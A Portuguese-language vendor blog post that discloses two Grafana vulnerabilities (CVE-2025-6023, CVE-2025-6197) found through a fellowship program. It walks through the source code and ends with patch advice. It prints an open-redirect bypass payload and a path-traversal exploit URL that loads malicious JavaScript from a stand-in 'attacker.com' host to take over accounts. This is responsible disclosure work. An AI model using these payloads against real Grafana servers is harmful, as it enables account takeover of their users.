O Grafana é uma plataforma líder de código aberto para visualização de dados, análise e monitorização, permitindo aos utilizadores criar painéis interactivos agregando dados de várias fontes. Com mais de 68.000 estrelas no GitHub e milhões de downloads via Docker Hub e outros repositórios, o Grafana se tornou um componente crítico em pilhas de monitoramento modernas em todos os setores.
A sua adoção generalizada e o seu papel crítico na monitorização de infra-estruturas fazem do Grafana um alvo privilegiado para os agentes de ameaças. Protegê-lo é essencial para proteger a integridade e a disponibilidade dos ambientes de monitorização em todas as empresas.
Na OPSWAT, contribuímos ativamente para a comunidade de segurança, pesquisando e divulgando de forma responsável vulnerabilidades em plataformas amplamente utilizadas, como Grafana. Em 2021, CVE-2021-39226, uma vulnerabilidade crítica foi descoberta e divulgada de forma responsável por TheBlackTurtle, um membro da Unidade 515OPSWAT .
Para além destas contribuições, OPSWAT também capacita a próxima geração de talentos na área da cibersegurança através de iniciativas práticas de formação. Um desses programas é o OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, que oferece aos alunos experiência prática na identificação e análise de ameaças à segurança do mundo real. Como parte desse programa, uma nova vulnerabilidade crítica no Grafana, CVE-2025-6023, foi descoberta por um de nossos bolsistas durante um projeto de pesquisa independente
Programa de Bolsas de Estudo OPSWAT e Descoberta de Vulnerabilidades Críticas
O Programa de Bolsas de Estudo para Graduados em Cibersegurança de Infra-estruturas Críticas da OPSWAT , sediado no Vietname, oferece aos estudantes graduados experiência prática na segurança de infra-estruturas críticas. Os bolseiros colaboram ativamente com os especialistas em cibersegurança OPSWAT para enfrentar os desafios do mundo real em matéria de deteção de malware, segurança de ficheiros e prevenção de ameaças.
Como parte desse rigoroso programa, os participantes pesquisam, reproduzem e analisam sistematicamente vulnerabilidades conhecidas (CVEs) em uma variedade de produtos de software, bibliotecas e sistemas operacionais sob a orientação de especialistas OPSWAT . Hoa X. Nguyen, um dos nossos distintos bolseiros, selecionou o Grafana como foco do seu projeto de investigação principal.
Em junho de 2025, durante uma revisão aprofundada do CVE-2025-4123 e uma análise mais profunda do código-fonte do Grafana, Hoa X. Nguyen identificou uma vulnerabilidade anteriormente desconhecida na plataforma. O problema envolveu o encadeamento de uma falha de redirecionamento aberto com uma vulnerabilidade de travessia de caminho do lado do cliente (CSPT), resultando em Cross-Site Scripting (XSS) e aquisição total da conta por meio de um endpoint diferente no Grafana.
Ao colaborar estreitamente com a Unidade 515, descobrimos não apenas uma, mas duas cadeias de exploração separadas que poderiam levar ao comprometimento total da conta.
OPSWAT continuou a sua contribuição ativa, comunicando de forma responsável as vulnerabilidades à Grafana. As questões foram prontamente reconhecidas e foram emitidos patches em versões subsequentes. Estas vulnerabilidades foram posteriormente atribuídas CVE-2025-6023 e CVE-2025-6197, e desde então foram publicamente listadas na Base de Dados Nacional de Vulnerabilidades (NVD).
Cronologia do CVE-2025-6023 e do CVE-2025-6197
- 11 de junho de 2025:Hoa X. Nguyen identificou uma vulnerabilidade na versão mais recente do Grafana e apresentou um relatório de segurança ao Grafana.
- 11 de junho de 2025: Após discussão, Grafana confirmou a vulnerabilidade e atribuiu CVE-2025-6023 com alta gravidade.
- 17 de junho de 2025:Dat Phung da Unidade 515 trabalhou em estreita colaboração com Hoa X. Nguyen e descobriu outra cadeia de ataque que explorava a vulnerabilidade.
- 17 de junho de 2025: A Grafana confirmou a segunda vulnerabilidade e atribuiu a CVE-2025-6197 uma gravidade média.
- 17 de julho de 2025: A Grafana lançou 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 e 11.3.8+security-01, introduzindo um patch aprimorado que abordou efetivamente essas vulnerabilidades.
- 18 de julho de 2025: A Base de Dados Nacional de Vulnerabilidades (NVD) divulgou oficialmente o CVE-2025-6023 e o CVE-2025-6197.
Análise técnica da correção incompleta e do CVE-2025-6023
Em maio de 2025, a CVE-2025-4123, uma vulnerabilidade de alta gravidade no Grafana, foi divulgada por Alvaro Balada. A falha combinava a travessia de caminho do lado do cliente com um redirecionamento aberto, permitindo que os invasores entregassem plug-ins de front-end maliciosos que executam JavaScript arbitrário dentro do contexto confiável do Grafana - resultando na aquisição total da conta. Nos casos em que o acesso anónimo foi ativado, não foi necessária qualquer autenticação. Além disso, se o plugin Grafana Image Renderer estivesse instalado, a exploração poderia escalar para SSRF, expondo serviços internos ou metadados da nuvem.
O Grafana abordou o problema com atualizações de segurança em maio de 2025, introduzindo correções nas versões 12.0.0+security01, 11.6.1+security01 e outras nas ramificações 10.x-11.x. As correções incluíram melhorias na Política de Segurança de Conteúdo (CSP) e sanitização de redirecionamento mais rigorosa.
No âmbito do programa de bolsas de estudo para licenciados em cibersegurança de infra-estruturas críticas da OPSWAT , Hoa X. Nguyen efectuou uma análise exaustiva do CVE-2025-4123. A sua investigação envolveu a engenharia inversa do fluxo de exploração e a avaliação da eficácia do patch fornecido. Durante esta investigação, Hoa observou que, embora a vulnerabilidade seja fundamentalmente uma combinação de redireccionamento aberto e travessia de caminho do lado do cliente, o patch para o CVE-2025-4123 apenas abordou o redireccionamento aberto no staticHandler, através de uma verificação de higienização de dados introduzida no commit {ff20b06}.
No entanto, esta atenuação parcial deixou o principal vetor de ataque por resolver. O risco subjacente permaneceu: se um invasor pudesse identificar um endpoint alternativo vulnerável a redirecionamentos abertos, a mesma cadeia de exploração ainda poderia existir e ser usada para realizar a aquisição total da conta - mesmo após o patch. Com essa hipótese em mente, Hoa realizou uma revisão mais profunda do código-fonte da base de código Grafana. Através desse esforço, ele identificou com sucesso outro endpoint vulnerável: /user/auth-tokens/rotate.
Este ponto de extremidade foi concebido para regenerar tokens de autenticação expirados. Um parâmetro de consulta redirectTo é utilizado para navegar o utilizador para a página de destino depois de o token ser renovado com êxito.
Em uma implementação típica, o URL de redirecionamento é construído concatenando o valor de configuração Cfg.AppSubURL com o parâmetro redirectTo fornecido pelo usuário. No entanto, na configuração padrão do Grafana, AppSubURL é indefinido. Como resultado, o aplicativo depende apenas do valor bruto de redirectTo ao formar o caminho de redirecionamento.
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
Para esse mecanismo de redirecionamento, o Grafana tenta reduzir os riscos de segurança associados à entrada fornecida pelo usuário por meio de uma função de validação chamada ValidateRedirectTo, que se destina a bloquear alvos de redirecionamento inseguros - como aqueles que começam com //example.com - não permitindo barras duplas no início do caminho:
No entanto, como demonstrado na investigação original de Alvaro Balada, esta função pode ser contornada utilizando uma barra seguida de uma barra invertida (por exemplo, /\example.com), que os browsers modernos interpretam de forma semelhante a //example.com. Como resultado, o seguinte payload pode ser utilizado para conseguir um redireccionamento aberto, assumindo que o utilizador está autenticado:
/user/auth-tokens/rotate?redirectTo=/\example.com
Essa descoberta de Hoa X. Nguyen - juntamente com a remediação incompleta para o CVE-2025-4123 - demonstra que ainda é possível uma invasão total da conta Grafana.
Ao descobrir este desvio, OPSWAT comunicou prontamente o problema à equipa de desenvolvimento da Grafana. Em resposta, a Grafana já tinha identificado a mitigação anterior como incompleta através de discussões internas e tinha planeado resolver o problema numa próxima versão antes do nosso relatório. Como resultado, o nosso relatório foi aceite com a atribuição de um novo CVE para a vulnerabilidade de redireccionamento aberto descoberta, classificada com gravidade média.
CVE-2025-6023: Uma nova cadeia de exploração que permite o controlo total de uma conta
O CVE-2025-4123 destacou originalmente uma vulnerabilidade de travessia de caminho do lado do cliente (CSPT) no aplicativo de plug-in front-end do Grafana. Em seu relatório inicial, Hoa X. Nguyen combinou esse problema conhecido de CSPT com uma falha de redirecionamento aberto recém-descoberta para criar uma cadeia de exploração eficaz. Apesar do impacto crítico demonstrado, a vulnerabilidade foi atribuída apenas à gravidade média, pois o Grafana já havia reconhecido internamente a natureza incompleta do patch antes da divulgação do CSPT.
Isso levou a uma investigação mais profunda sobre se existiam falhas CSPT adicionais na base de código do Grafana que - quando combinadas com a vulnerabilidade de redirecionamento aberto recém-descoberta - poderiam permitir uma cadeia de exploração totalmente independente. Se tal vulnerabilidade CSPT fosse encontrada num endpoint diferente, poderia justificar a atribuição do mesmo nível de gravidade elevado que o CVE-2025-4123.
Descoberta de um novo Endpoint vulnerável
Motivado por essa hipótese, Hoa realizou uma análise aprofundada do código-fonte do Grafana. Durante essa análise, ele identificou um ponto de extremidade vulnerável adicional que permitia a recuperação dinâmica e a execução de scripts de fontes arbitrárias - sem validação ou sanitização de entrada adequada. Esse comportamento inseguro está associado à funcionalidade de script do painel do Grafana, gerenciada especificamente por meio da seguinte rota:
/dashboard/:type/:slug
Esta rota é processada pelo middleware responsável pelo tratamento dos scripts do dashboard. Especificamente, o parâmetro :slug é utilizado para carregar e executar scripts dinamicamente - sem a devida higienização - permitindo assim que os atacantes criem URLs maliciosos e recriem potencialmente uma cadeia de exploração semelhante à do CVE-2025-4123.
Análise do mecanismo de scripting do Dashboard
O mecanismo de script do painel do Grafana utiliza o componente DashboardPageProxy para lidar com solicitações correspondentes à rota /dashboard/:type/:slug:
No DashboardPageProxy, o fluxo de execução procede da seguinte forma:
O resultado retornado pelo DashboardPageProxy é derivado da execução do método stateManager.fetchDashboard(), que aceita os parâmetros uid, type e slug extraídos do caminho do URL. Para analisar como essa resposta é construída, Hoa X.Nguyen examinou o objeto stateManager e a lógica dentro de seu método fetchDashboard(). O stateManager é instanciado por meio da função getDashboardScenePageStateManager(), que é definida no arquivo a seguir:
/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts
Uma vez que o stateManager é inicializado invocando a função getDashboardScenePageStateManager() sem quaisquer argumentos, conforme ilustrado na Figura 2, pode concluir-se que o objeto devolvido é uma instância da classe UnifiedDashboardScenePageStateManager.
Portanto, para entender o comportamento do método fetchDashboard(), ele passou a analisar sua implementação dentro da classe UnifiedDashboardScenePageStateManager:
Na classe UnifiedDashboardScenePageStateManager, o método fetchDashboard() invoca primeiro a função withVersionHandling(). Esta função é responsável por determinar e devolver a instância do activeManager. Assim que o activeManager é construído, chama o método fetchDashboard() correspondente nessa instância, passando o parâmetro de opções relevante.
A instância do activeManager é um objeto DashboardScenePageStateManager ou um objeto DashboardScenePageStateManagerV2. Ambas as classes implementam uma lógica semelhante para obter dados do painel. O código a seguir foi extraído da classe DashboardScenePageStateManager:
No método fetchDashboard() da classe DashboardScenePageStateManager, é utilizada uma instrução de comutação para determinar a lógica de tratamento adequada com base no tipo de rota. No caso predefinido, o método chama:
dashboardLoaderSrv.loadDashboard(type, slug, uid, query)
Esta chamada inicia o processo de carregamento do painel de controlo solicitado. A implementação de referência da função loadDashboard() pode ser encontrada no seguinte ficheiro:
/public/app/features/dashboard/services/DashboardLoad
Na função loadDashboard(), são efectuadas várias verificações condicionais para determinar o fluxo de processamento adequado. No caso específico em que o tipo é definido como "script" e existe um slug, a função invoca:
this.loadScriptedDashboard(slug)
Aqui, o slug - proveniente diretamente da entrada do utilizador - é passado como um parâmetro para o método loadScriptedDashboard(). Para avaliar o fluxo de execução e as possíveis vulnerabilidades introduzidas por essa chamada, Hoa passou a analisar a implementação de loadScriptedDashboard() na classe DashboardLoaderSrvBase:
No método loadScriptedDashboard(), o parâmetro slug - ilustrado na Figura 2 - é tratado como um nome de ficheiro (string) e utilizado para construir o url variável. No entanto, este parâmetro não é corretamente higienizado. A implementação aplica uma expressão regular para substituir todos os caracteres ponto (.), exceto os imediatamente seguidos de"js", por uma barra (/). Esta filtragem parcial não consegue higienizar corretamente a entrada, deixando-a suscetível à manipulação de caminhos e a ataques de travessia.
Uma vez construído o URL, o script tenta carregar o dashboard especificado invocando getBackendSrv().get(url). O script recuperado é então executado utilizando this.executeScript(code).
Essa análise acabou levando Hoa X. Nguyen a identificar uma nova vulnerabilidade Client-Side Path Traversal (CSPT) na versão mais recente do Grafana. Devido à falta de sanitização ou validação de entrada, um invasor pode manipular o slug para criar um URL que carrega e executa um script malicioso de uma fonte externa - replicando o problema principal identificado anteriormente no CVE-2025-4123 por meio do carregamento do script do painel.
Quando combinado com a recém-descoberta vulnerabilidade de redireccionamento aberto, este problema permite uma cadeia de exploração completa capaz de obter o controlo total da conta. Um exemplo de carga útil que demonstra esta exploração é o seguinte:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
Por exemplo:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js
O ficheiro malicious.js pode ser criado para alterar o endereço de correio eletrónico e o nome de utilizador da vítima para os controlados pelo atacante. Isto permitiria ao atacante iniciar um processo de redefinição da palavra-passe para o seu próprio endereço de correio eletrónico, resultando, em última análise, na aquisição total da conta:
Prova de conceito para CVE-2025-6023
Este vídeo mostra o impacto prático do CVE-2025-6023, demonstrando um cenário de tomada de controlo total da conta que afecta os utilizadores do Grafana, descoberto por Hoa X. Nguyen, OPSWAT:
Mitigação e orientação
Para mitigar as vulnerabilidades que discutimos acima, certifique-se de que seu sistema esteja atualizado para a versão mais recente do Grafana.
MetaDefender Core que utiliza o motor SBOM pode detetar esta vulnerabilidade
OPSWAT MetaDefender Core, equipado com capacidades SBOMSoftware Bill of Materials) avançadas, permite que as organizações adoptem uma abordagem proactiva na abordagem dos riscos de segurança. Ao analisar as aplicações de software e as suas dependências, MetaDefender Core identifica vulnerabilidades conhecidas, tais como CVE-2025-6023 e CVE-2025-6197, dentro dos componentes listados. Isto permite às equipas de desenvolvimento e segurança dar prioridade aos esforços de correção, mitigando potenciais riscos de segurança antes que estes possam ser explorados por agentes maliciosos.
Abaixo está uma captura de ecrã do CVE-2025-6023 e do CVE-2025-6197, que foram detectados pelo MetaDefender Core com o SBOM:
Além disso, os CVEs também podem ser detectados pelo MetaDefender Software Supply Chainque utiliza MetaDefender Core com SBOM para identificar essas vulnerabilidades.
